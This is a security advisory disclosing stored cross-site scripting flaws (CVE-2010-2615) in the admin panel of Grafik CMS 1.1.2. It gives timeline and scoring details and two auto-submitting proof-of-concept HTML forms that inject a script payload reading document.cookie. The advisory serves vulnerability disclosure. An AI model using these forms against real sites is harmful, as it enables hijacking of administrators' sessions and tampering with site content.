Cross-site Scripting (XSS) Vulnerabilities in Grafik CMS

Advisory ID:HTB22438
Product:Grafik CMS
Vendor:GrafikPower
Vulnerable Versions:1.1.2 and probably prior
Tested Version:1.1.2
Advisory Publication:June 14, 2010 [without technical details]
Vendor Notification:June 14, 2010
Public Disclosure:June 28, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
CVE Reference:CVE-2010-2615
Risk Level:Low
CVSSv2 Base Score:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered two vulnerabilities in Grafik CMS which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerabilities in Grafik CMS: CVE-2010-2615
The vulnerability exists due to input sanitation error in the "page_menu" (when action is set to settings) and "description" (when actions is set to edit_page) parameters in /admin/admin.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation examples:
<form action="http://host/admin/admin.php?action=settings" method="post" name="main" >
<input type="hidden" name="name" value="site title" />
<input type="hidden" name="admin_mail" value="example@example.com" />
<input type="hidden" name="keywords" value="" />
<input type="hidden" name="description" value='descr"><script>alert(document.cookie)</script>' />
<input type="hidden" name="site_url" value="http://www.example.com/" />
<input type="hidden" name="seo_url" value="0" />
<input type="hidden" name="mailing" value="1" />
<input type="hidden" name="template" value="templates/default" />
<input id="sbmt" type="submit" name="submit" value="Valider" />
</form>
<script>
document.getElementById('sbmt').click();
</script>

<form action="http://host/admin/admin.php?action=edit_page&id=1" method="post" name="main" >
<input type="hidden" name="page_title" value="page title" />
<input type="hidden" name="page_menu" value='descr"><script>alert(document.cookie)</script>' />
<input type="hidden" name="id" value="1" />
<input type="hidden" name="page_content" value="some page content" />
<input id="sbmt" type="submit" name="submit" value="Modifier" />
</form>
<script>
document.getElementById('sbmt').click();
</script>

How to Detect Cross-Site Scripting Vulnerabilities
Free Website Security Test
  • Non-intrusive GDPR Test
  • Non-intrusive PCI DSS Test
Try Free Test
ImmuniWeb® On-Demand
  • Complete GDPR Audit
  • Complete PCI DSS Audit
  • Remediation Guidelines
  • DevSecOps Integration
Learn More

Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22438 - https://www.immuniweb.com/advisory/HTB22438 - Cross-site Scripting (XSS) Vulnerabilities in Grafik CMS
[2] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments
Add Comment


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Quick Start
Products
Free Trial
Newsletter